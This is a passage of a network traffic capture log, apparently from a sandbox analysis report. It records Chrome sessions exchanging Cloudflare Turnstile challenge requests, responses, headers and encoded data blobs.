https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:14 UTC	3579	OUT	Data Raw: 76 5f 39 30 31 65 66 62 30 66 37 66 31 62 35 65 35 66 3d 72 56 36 62 24 62 35 62 41 62 78 62 75 33 73 54 33 73 64 62 33 51 65 47 74 37 51 73 39 33 6a 6a 73 52 43 73 65 70 62 33 4f 73 46 62 65 36 37 65 6b 4f 36 73 32 76 4f 73 6e 6c 33 6f 72 73 58 62 33 64 36 73 65 71 6d 56 49 34 73 71 47 73 61 73 33 56 73 71 36 53 70 73 43 73 49 70 65 6a 73 47 70 76 36 73 41 74 51 49 37 42 70 6d 53 34 74 52 79 62 76 64 7a 56 4a 73 71 55 6d 73 39 62 76 4e 61 79 38 63 32 48 69 73 66 72 4a 7a 67 73 4b 63 64 7a 62 53 70 73 6b 62 49 2d 78 73 33 5a 7a 41 4b 57 73 34 4c 62 73 55 6c 73 37 77 78 36 79 25 32 62 75 63 4a 4b 59 37 54 52 6c 36 4a 5a 77 55 72 62 65 71 2d 6e 6c 62 63 73 33 77 46 71 69 53 79 43 74 37 73 36 36 70 4e 4e 6d 73 6c 24 73 68 5a 59 36 24 47 73 49 43 32 55 32 52 Data Ascii: v_901efb0f7f1b5e5f=rV6b$b5bAbxbu3sT3sdb3QeGt7Qs93jjsRCsepb3OsFbe67ekO6s2vOsnl3orsXb3d6seqmVI4sqGsas3Vsq6SpsCsIpejsGpv6sAtQI7BpmS4tRybvdzVJsqUms9bvNay8c2HisfrJzgsKcdzbSpskbI-xs3ZzAKWs4LbsUls7wx6y%2bucJKY7TRl6JZwUrbeq-nlbcs3wFqiSyCt7s66pNNmsl$shZY6$GsIC2U2R
2025-01-14 16:25:14 UTC	751	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:25:14 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 153000 Connection: close cf-chl-gen: 5KRQBe61a9SqbN99DhR7xAWJQsno5+HKK0TuliDuqb6LDVI94Qxj6ClXJ1ftG2KAl01XgvBmiL5FqLck0MiM2vtsA+2chwTeW42Msu8e9dy8+DsfRbaNTU+weDPRYDsRgIromC/DNc05QUnnPbBfk4b2ucs7QoELxMMa8DgfHjVsTEcAApPFQuwUgRO+oNe3Hy8IwpVFDa0sn642to46Zus5zWE3WdnJ/5QvC0v7FBhgBoO1SQsCaeGGh3fmqSu2WSzXiY5qG8nXgGTjS2iUPusjIekF6p4EMFHylvvbQ66EbKIvyhpl3y6GeFc7nqdTbfrux2nuwbeL9qmfOOXrY7hCw3DKnivRWZ2Vk8OVFRITjRDjpNM46Dn4zkd9bFjHHizezvJDT+DaT/QMUZ/gxcgIbBJGH9FuBAyRcUD4AGvhNigW00VUikQ01ObKaNu2r7jFycZzfoEppC/FFXt9M91lciq35F9UfpEZ5FVMYQs=$PtPcJMbMqnXnidCMpsqWOw== Server: cloudflare CF-RAY: 901efb1aae9a7c7b-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:25:14 UTC	618	IN	Data Raw: 6d 33 75 56 74 59 2b 4a 6c 4b 32 53 6a 63 47 46 67 4b 61 59 78 5a 65 57 6e 4d 69 66 7a 38 36 74 6b 71 2b 53 6e 34 79 76 71 38 32 4d 73 63 32 71 72 37 32 57 30 64 66 4c 74 36 2f 6a 30 4b 62 65 32 63 61 36 33 61 6a 47 72 74 6d 75 70 63 6e 43 38 4f 66 4a 35 4f 7a 59 33 62 50 63 32 65 33 4f 2f 41 54 56 35 75 37 41 2b 2f 50 72 77 77 77 44 2b 41 51 4d 37 78 4c 37 38 41 62 30 30 68 6a 35 39 2f 73 63 2f 66 37 58 30 76 55 43 38 53 41 62 4a 68 41 4a 47 67 6f 67 2f 67 67 62 45 42 4c 73 42 2f 49 54 4b 77 63 72 2b 42 6f 61 43 66 51 30 48 67 30 42 49 43 38 77 41 78 64 48 46 6a 30 6e 47 69 55 39 50 53 34 48 43 44 41 75 49 77 34 7a 52 30 59 72 46 31 59 76 44 78 31 62 53 56 6b 59 57 69 4d 38 4d 47 63 32 53 47 42 56 56 43 73 75 61 6d 68 79 57 6c 31 4a 53 6b 68 4d 61 45 56 Data Ascii: m3uVtY+JlK2SjcGFgKaYxZeWnMifz86tkq+Sn4yvq82Msc2qr72W0dfLt6/j0Kbe2ca63ajGrtmupcnC8OfJ5OzY3bPc2e3O/ATV5u7A+/PrwwwD+AQM7xL78Ab00hj59/sc/f7X0vUC8SAbJhAJGgog/ggbEBLsB/ITKwcr+BoaCfQ0Hg0BIC8wAxdHFj0nGiU9PS4HCDAuIw4zR0YrF1YvDx1bSVkYWiM8MGc2SGBVVCsuamhyWl1JSkhMaEV
2025-01-14 16:25:14 UTC	1369	IN	Data Raw: 31 2f 69 49 32 4c 69 6c 6d 4c 59 6d 75 44 5a 48 2b 5a 69 31 4e 6f 69 31 69 65 62 49 75 56 6a 6e 36 55 64 5a 6d 61 6c 48 71 6a 68 6e 70 31 59 49 52 37 66 49 61 7a 72 6f 4b 4d 75 4b 57 42 65 6e 69 30 64 33 65 76 6d 33 79 77 73 61 79 44 70 4b 42 2b 70 6f 47 57 76 62 69 4a 6e 4d 71 50 6f 6f 2b 67 71 63 32 6f 79 61 61 71 30 71 71 50 30 64 2f 65 79 70 69 30 75 36 48 53 70 4c 75 34 75 4d 71 6b 31 72 32 73 78 75 6a 77 72 2b 33 75 76 75 7a 44 37 65 37 74 7a 74 7a 77 41 4d 44 4c 32 4d 37 67 30 74 50 6a 2b 74 37 6d 33 66 72 2b 44 63 76 70 45 78 48 51 34 78 66 4e 7a 39 55 4b 42 68 41 50 45 64 51 57 39 76 30 6a 32 67 30 62 35 66 58 32 41 69 72 6c 4a 53 50 74 43 2f 34 4b 4d 2f 30 74 4b 2f 55 51 42 78 49 36 2b 6a 55 7a 2f 52 51 50 47 6b 4d 55 50 54 76 38 42 52 63 69 53 Data Ascii: 1/iI2LilmLYmuDZH+Zi1Noi1iebIuVjn6UdZmalHqjhnp1YIR7fIazroKMuKWBeni0d3evm3ywsayDpKB+poGWvbiJnMqPoo+gqc2oyaaq0qqP0d/eypi0u6HSpLu4uMqk1r2sxujwr+3uvuzD7e7tztzwAMDL2M7g0tPj+t7m3fr+DcvpExHQ4xfNz9UKBhAPEdQW9v0j2g0b5fX2AirlJSPtC/4KM/0tK/UQBxI6+jUz/RQPGkMUPTv8BRciS
2025-01-14 16:25:14 UTC	1369	IN	Data Raw: 6c 61 55 74 4c 68 70 52 53 56 48 4e 73 5a 5a 46 59 57 6e 4f 51 6d 6c 6d 41 65 70 70 37 58 6e 4f 68 59 58 64 32 6f 49 4f 67 67 36 6c 70 5a 71 53 6f 69 36 69 72 67 6d 32 38 66 4a 79 62 6b 4d 42 38 6f 62 43 32 66 4b 53 41 66 36 53 68 69 6f 69 70 68 61 2b 4f 71 72 33 52 68 36 2f 43 6a 70 4b 31 30 38 6d 57 75 64 62 4e 6d 72 33 58 30 5a 37 42 33 4e 57 69 78 64 37 5a 70 73 6e 76 35 4c 37 41 72 4d 50 7a 39 4f 32 31 7a 4e 50 70 38 66 7a 47 73 62 33 57 79 73 33 5a 2b 76 6a 79 31 75 4c 34 78 4f 72 6d 79 67 44 61 43 2f 50 6f 42 2f 55 54 36 41 76 6e 44 67 58 7a 35 78 45 66 32 4e 6b 55 44 2b 77 62 45 42 54 78 2f 41 45 6f 4a 68 30 45 36 4f 77 6c 36 52 34 50 45 68 67 41 4a 52 63 49 4d 43 6b 4d 48 6a 45 68 4d 53 30 37 45 6a 59 6a 4d 68 6b 54 4b 77 73 62 4b 42 73 75 48 78 Data Ascii: laUtLhpRSVHNsZZFYWnOQmlmAepp7XnOhYXd2oIOgg6lpZqSoi6irgm28fJybkMB8obC2fKSAf6Shioipha+Oqr3Rh6/CjpK108mWudbNmr3X0Z7B3NWixd7Zpsnv5L7ArMPz9O21zNPp8fzGsb3Wys3Z+vjy1uL4xOrmygDaC/PoB/UT6AvnDgXz5xEf2NkUD+wbEBTx/AEoJh0E6Owl6R4PEhgAJRcIMCkMHjEhMS07EjYjMhkTKwsbKBsuHx
2025-01-14 16:25:14 UTC	1369	IN	Data Raw: 6a 6c 6c 76 61 6e 57 65 62 35 69 57 57 47 42 79 66 61 5a 35 67 48 52 6f 66 71 75 4f 68 71 42 2f 6e 4a 4e 77 69 33 57 54 6a 72 65 45 64 36 69 4e 6a 6e 31 31 66 49 37 44 65 61 57 61 66 6e 32 70 6e 38 47 42 72 61 50 42 6d 49 62 4b 77 34 75 39 77 73 36 67 31 63 33 44 71 38 75 6c 7a 64 4b 34 33 70 53 74 7a 64 4c 69 77 63 50 43 35 4b 6d 39 74 38 2b 70 72 38 6a 72 76 2f 47 75 79 65 4c 69 30 63 6a 4b 30 4d 65 77 73 66 72 55 7a 64 7a 65 2f 41 67 4a 78 74 4c 42 2b 4f 45 4b 35 77 77 4c 38 41 58 50 31 4d 38 51 39 51 6e 74 38 2b 37 70 47 76 4d 4c 38 50 76 33 38 66 72 63 42 2b 55 52 33 39 77 42 42 52 2f 6b 49 77 55 70 37 66 73 52 49 44 41 6f 38 68 6b 4c 42 53 77 2f 42 7a 30 42 46 45 44 37 48 7a 45 46 51 44 5a 49 43 69 30 59 48 51 46 49 50 67 68 4e 4e 53 41 6d 53 69 41 Data Ascii: jllvanWeb5iWWGByfaZ5gHRofquOhqB/nJNwi3WTjreEd6iNjn11fI7DeaWafn2pn8GBraPBmIbKw4u9ws6g1c3Dq8ulzdK43pStzdLiwcPC5Km9t8+pr8jrv/GuyeLi0cjK0MewsfrUzdze/AgJxtLB+OEK5wwL8AXP1M8Q9Qnt8+7pGvML8Pv38frcB+UR39wBBR/kIwUp7fsRIDAo8hkLBSw/Bz0BFED7HzEFQDZICi0YHQFIPghNNSAmSiA
2025-01-14 16:25:14 UTC	1369	IN	Data Raw: 35 57 54 59 47 39 6a 56 35 74 78 5a 33 69 42 58 5a 65 61 67 36 32 59 72 58 79 47 72 35 2b 78 6b 49 4f 6f 6f 6f 32 37 69 62 4b 79 76 6e 75 42 69 34 4b 64 78 71 47 6a 6f 36 75 63 70 5a 71 58 68 34 2b 6f 79 36 44 55 6f 36 6e 43 77 72 57 51 75 62 75 35 75 39 2b 61 77 61 43 76 6f 35 66 5a 70 4e 43 30 30 39 2f 45 79 63 7a 4c 77 75 2f 45 34 4d 65 72 36 38 76 50 71 2f 47 78 72 76 7a 77 30 2f 44 64 79 72 55 46 41 4f 54 6a 32 50 66 63 2b 4e 72 57 39 67 66 70 38 75 76 46 34 50 62 55 42 77 7a 6c 30 39 6e 34 46 4e 66 77 43 2f 45 4f 49 50 6b 64 42 4f 59 65 48 65 4c 6b 46 69 34 76 2f 51 76 35 45 51 6b 53 4d 67 77 30 4d 79 66 73 45 68 55 76 39 44 4d 56 49 2f 6f 61 52 50 73 65 50 79 4d 33 46 45 30 44 43 44 68 52 4f 79 42 4c 43 30 6f 69 4e 77 34 69 4f 68 4d 36 47 43 77 63 Data Ascii: 5WTYG9jV5txZ3iBXZeag62YrXyGr5+xkIOooo27ibKyvnuBi4KdxqGjo6ucpZqXh4+oy6DUo6nCwrWQubu5u9+awaCvo5fZpNC009/EyczLwu/E4Mer68vPq/Gxrvzw0/DdyrUFAOTj2Pfc+NrW9gfp8uvF4PbUBwzl09n4FNfwC/EOIPkdBOYeHeLkFi4v/Qv5EQkSMgw0MyfsEhUv9DMVI/oaRPsePyM3FE0DCDhROyBLC0oiNw4iOhM6GCwc
2025-01-14 16:25:14 UTC	1369	IN	Data Raw: 39 32 6d 48 71 41 65 70 69 4f 66 49 43 69 70 71 43 71 67 70 57 58 6d 4b 65 54 69 4b 74 30 71 4b 2b 32 65 4c 79 37 75 48 7a 43 72 37 53 41 78 49 69 70 68 72 6d 35 6e 4d 69 62 6f 37 2b 30 79 4c 50 4f 74 73 79 57 75 63 6d 59 31 39 4c 57 76 38 7a 59 72 38 44 58 77 62 50 57 32 36 57 30 32 36 32 39 76 64 48 6b 76 65 2f 65 34 38 48 34 7a 66 61 78 2b 50 6a 4f 32 4c 4b 2f 75 38 49 43 37 75 66 79 2b 74 63 4a 37 4d 7a 70 41 4e 6e 43 32 51 44 51 78 67 4c 70 31 39 6a 50 2b 76 62 74 2b 78 51 51 46 78 33 67 48 42 49 52 38 43 4c 68 46 41 7a 2b 43 67 37 6b 49 77 6b 66 38 76 49 65 44 77 55 53 46 42 51 4d 44 52 63 4b 2b 77 73 69 50 44 38 52 44 51 59 77 50 43 67 6a 49 79 6b 65 47 43 63 78 49 55 46 42 44 69 51 66 44 6b 59 6e 4a 69 59 53 50 46 34 79 53 6c 6b 63 54 46 6c 45 50 Data Ascii: 92mHqAepiOfICipqCqgpWXmKeTiKt0qK+2eLy7uHzCr7SAxIiphrm5nMibo7+0yLPOtsyWucmY19LWv8zYr8DXwbPW26W02629vdHkve/e48H4zfax+PjO2LK/u8IC7ufy+tcJ7MzpANnC2QDQxgLp19jP+vbt+xQQFx3gHBIR8CLhFAz+Cg7kIwkf8vIeDwUSFBQMDRcK+wsiPD8RDQYwPCgjIykeGCcxIUFBDiQfDkYnJiYSPF4ySlkcTFlEP
2025-01-14 16:25:14 UTC	1369	IN	Data Raw: 59 6f 5a 36 6c 70 35 4f 45 66 59 57 7a 71 70 43 6d 62 49 61 6c 71 72 71 5a 6d 35 75 6a 6c 4a 32 53 6a 33 2b 48 6f 4c 2b 61 79 59 61 68 75 72 71 2f 6f 4b 4b 6f 6e 36 43 31 6f 37 43 33 72 5a 4f 39 6d 37 33 51 32 37 75 7a 73 65 48 44 30 72 69 79 35 62 65 36 37 63 76 43 76 71 72 6b 76 61 32 2b 79 4b 2f 57 38 75 58 36 32 64 7a 57 31 4e 44 77 74 50 58 77 37 77 62 50 78 66 37 4a 35 4e 72 6c 44 39 6f 4a 42 39 48 71 34 75 30 57 7a 52 45 50 30 4e 6e 71 39 52 2f 77 47 52 66 59 33 39 76 64 39 4e 34 6c 47 39 7a 6d 4b 43 59 69 2f 43 51 42 37 53 76 79 41 79 44 78 4e 41 62 73 4f 51 59 4e 51 43 30 34 43 2f 76 35 41 52 52 41 2f 53 6f 67 50 68 55 44 52 30 41 49 4f 6a 39 4c 48 56 4a 4b 51 43 68 49 49 6b 70 50 4e 56 73 52 4b 6b 70 50 58 7a 35 41 56 7a 63 69 50 6d 73 33 61 31 Data Ascii: YoZ6lp5OEfYWzqpCmbIalqrqZm5ujlJ2Sj3+HoL+ayYahurq/oKKon6C1o7C3rZO9m73Q27uzseHD0riy5be67cvCvqrkva2+yK/W8uX62dzW1NDwtPXw7wbPxf7J5NrlD9oJB9Hq4u0WzREP0Nnq9R/wGRfY39vd9N4lG9zmKCYi/CQB7SvyAyDxNAbsOQYNQC04C/v5ARRA/SogPhUDR0AIOj9LHVJKQChIIkpPNVsRKkpPXz5AVzciPms3a1
2025-01-14 16:25:14 UTC	1369	IN	Data Raw: 6f 61 2b 66 75 4a 61 6d 71 48 47 37 68 35 61 73 74 33 69 63 73 4a 57 2f 6f 4c 53 59 73 36 53 34 6e 4c 76 45 78 73 48 48 75 72 76 50 31 70 47 66 7a 4e 53 76 73 4d 36 59 30 5a 7a 50 77 71 7a 4c 33 37 53 30 7a 2b 50 46 6f 38 62 59 76 65 37 45 32 2f 48 6b 30 2b 50 70 72 36 32 75 78 2b 54 78 75 4c 72 62 75 75 79 39 37 4d 4f 2f 41 51 59 47 31 41 55 4b 43 74 54 74 37 67 37 67 7a 38 73 56 44 38 76 68 43 66 63 49 47 65 7a 76 45 68 45 54 2b 78 59 58 46 76 6a 35 42 66 41 6d 34 41 49 62 47 43 54 36 35 76 37 6f 41 43 49 66 42 79 37 33 38 77 63 4b 44 79 30 33 4b 68 55 7a 4f 43 52 42 4e 52 55 54 42 45 4e 46 50 53 64 49 4b 30 63 4b 53 55 67 46 48 7a 49 6d 46 6b 35 46 4d 6a 6f 36 47 52 59 57 54 7a 45 72 56 56 51 7a 5a 6c 56 53 56 55 56 63 61 31 6c 5a 57 54 70 69 5a 53 78 Data Ascii: oa+fuJamqHG7h5ast3icsJW/oLSYs6S4nLvExsHHurvP1pGfzNSvsM6Y0ZzPwqzL37S0z+PFo8bYve7E2/Hk0+Ppr62ux+TxuLrbuuy97MO/AQYG1AUKCtTt7g7gz8sVD8vhCfcIGezvEhET+xYXFvj5BfAm4AIbGCT65v7oACIfBy738wcKDy03KhUzOCRBNRUTBENFPSdIK0cKSUgFHzImFk5FMjo6GRYWTzErVVQzZlVSVUVca1lZWTpiZSx
2025-01-14 16:25:14 UTC	1369	IN	Data Raw: 6d 31 75 64 34 65 4c 74 5a 65 73 73 4b 4f 53 66 34 43 45 6c 6f 47 37 6e 63 32 6d 76 5a 2b 72 77 4b 58 50 78 34 2b 74 74 4c 69 6a 71 64 48 4a 70 73 6d 2f 79 73 76 58 7a 64 36 76 6f 37 37 6d 31 61 62 4e 32 65 48 75 36 65 62 62 71 63 33 4a 38 74 57 30 37 62 66 37 36 4e 6a 37 75 65 7a 50 34 66 72 6b 39 64 50 78 43 66 33 56 31 66 59 4e 41 68 41 4d 37 2b 4d 48 7a 73 37 6d 42 2f 66 74 45 67 6f 63 31 66 6f 42 43 78 73 41 46 51 59 52 35 68 6a 34 42 2b 6a 39 44 51 49 49 44 66 34 52 41 65 73 57 46 42 59 69 47 53 6f 49 4b 44 30 79 43 67 77 65 4d 54 5a 44 51 43 51 59 4f 77 59 44 47 7a 59 69 54 55 56 46 48 6b 63 7a 4a 30 68 41 53 79 45 69 46 6c 6f 76 57 44 55 38 4d 31 39 66 47 52 73 6c 56 46 52 64 4d 57 63 70 4a 53 63 73 62 57 4a 5a 4c 31 52 4a 63 53 35 4a 54 46 6f 31 Data Ascii: m1ud4eLtZessKOSf4CEloG7nc2mvZ+rwKXPx4+ttLijqdHJpsm/ysvXzd6vo77m1abN2eHu6ebbqc3J8tW07bf76Nj7uezP4frk9dPxCf3V1fYNAhAM7+MHzs7mB/ftEgoc1foBCxsAFQYR5hj4B+j9DQIIDf4RAesWFBYiGSoIKD0yCgweMTZDQCQYOwYDGzYiTUVFHkczJ0hASyEiFlovWDU8M19fGRslVFRdMWcpJScsbWJZL1RJcS5JTFo1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	51391	104.18.95.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:15 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1584592966:1736867726:NPNXQv2vLhedVg3BHjiw19fkli-qalioRMTGQKWJ26k/901efb0f7f1b5e5f/0hG5y7TNaH6O9zMpmvl7FbRgLrE1AMToSi.kBYo05Fo-1736871912-1.1.1.1-a7u6Qpc5jm8A3.eIVdrPWRDR0WL41.8nS8DTeoVmB5rgbFoTwr7CASB2OZCwljLF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:15 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 14 Jan 2025 16:25:15 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 2Si59PjEzPVto24lYpd28BcmVbLTgSjsdnuAG0BV0RmH5qt+Tr6HjebqVjpYADTFtNn15KXshWoYAaGNJfBCeg==$qCx7tFQ7Vp2wLtcVkoUoMQ== Server: cloudflare CF-RAY: 901efb20aac7183d-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:25:15 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	51392	104.18.94.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:16 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/901efb0f7f1b5e5f/1736871914683/c9f828323d80e73e9f1538f58e28145cb28549909e74653787713ca7511ba2c0/mGcs40MC0Uk9mog HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:16 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Tue, 14 Jan 2025 16:25:16 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-14 16:25:16 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 79 66 67 6f 4d 6a 32 41 35 7a 36 66 46 54 6a 31 6a 69 67 55 58 4c 4b 46 53 5a 43 65 64 47 55 33 68 33 45 38 70 31 45 62 6f 73 41 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gyfgoMj2A5z6fFTj1jigUXLKFSZCedGU3h3E8p1EbosAAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-14 16:25:16 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	51393	104.18.94.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:17 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/b/i/901efb0f7f1b5e5f/1736871914687/uYZGlLVFPQ1W7R0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:17 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:25:17 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 901efb2a88cd42b0-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:25:17 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 4f 00 00 00 26 08 02 00 00 00 0a ad 51 43 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRO&QCIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	51394	104.18.95.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:17 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/901efb0f7f1b5e5f/1736871914687/uYZGlLVFPQ1W7R0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:17 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:25:17 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 901efb2eba4941e0-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:25:17 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 4f 00 00 00 26 08 02 00 00 00 0a ad 51 43 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRO&QCIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	51395	104.18.94.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:17 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1584592966:1736867726:NPNXQv2vLhedVg3BHjiw19fkli-qalioRMTGQKWJ26k/901efb0f7f1b5e5f/0hG5y7TNaH6O9zMpmvl7FbRgLrE1AMToSi.kBYo05Fo-1736871912-1.1.1.1-a7u6Qpc5jm8A3.eIVdrPWRDR0WL41.8nS8DTeoVmB5rgbFoTwr7CASB2OZCwljLF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32385 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 0hG5y7TNaH6O9zMpmvl7FbRgLrE1AMToSi.kBYo05Fo-1736871912-1.1.1.1-a7u6Qpc5jm8A3.eIVdrPWRDR0WL41.8nS8DTeoVmB5rgbFoTwr7CASB2OZCwljLF sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:17 UTC	16384	OUT	Data Raw: 76 5f 39 30 31 65 66 62 30 66 37 66 31 62 35 65 35 66 3d 72 56 36 62 41 33 49 39 6c 63 56 73 56 73 37 56 49 46 49 63 6d 70 74 39 65 6b 73 66 4c 73 4d 62 49 51 65 68 2d 73 56 62 6e 47 33 6b 58 73 6d 62 63 47 65 4f 73 32 33 73 65 70 62 73 6f 73 42 2d 4d 38 70 73 6b 76 73 55 56 49 75 76 49 68 51 73 54 73 49 56 49 74 36 24 43 57 6e 5a 73 63 68 69 6d 36 57 63 46 75 33 39 73 61 62 46 57 73 39 62 6e 61 24 57 6e 38 51 73 68 73 4e 70 49 79 55 35 72 49 73 73 76 5a 73 76 37 70 73 76 32 46 71 73 39 79 57 73 33 68 57 65 49 51 39 64 54 73 49 44 73 68 56 70 6b 36 43 6c 62 73 57 64 73 51 65 62 30 4f 57 47 49 61 51 53 74 64 7a 46 5a 75 62 73 70 51 33 64 49 49 36 44 72 58 62 64 59 63 56 39 25 32 62 36 5a 73 75 6a 5a 68 6b 6a 69 77 6f 4b 4b 6b 48 59 6e 31 36 6c 69 67 31 44 Data Ascii: 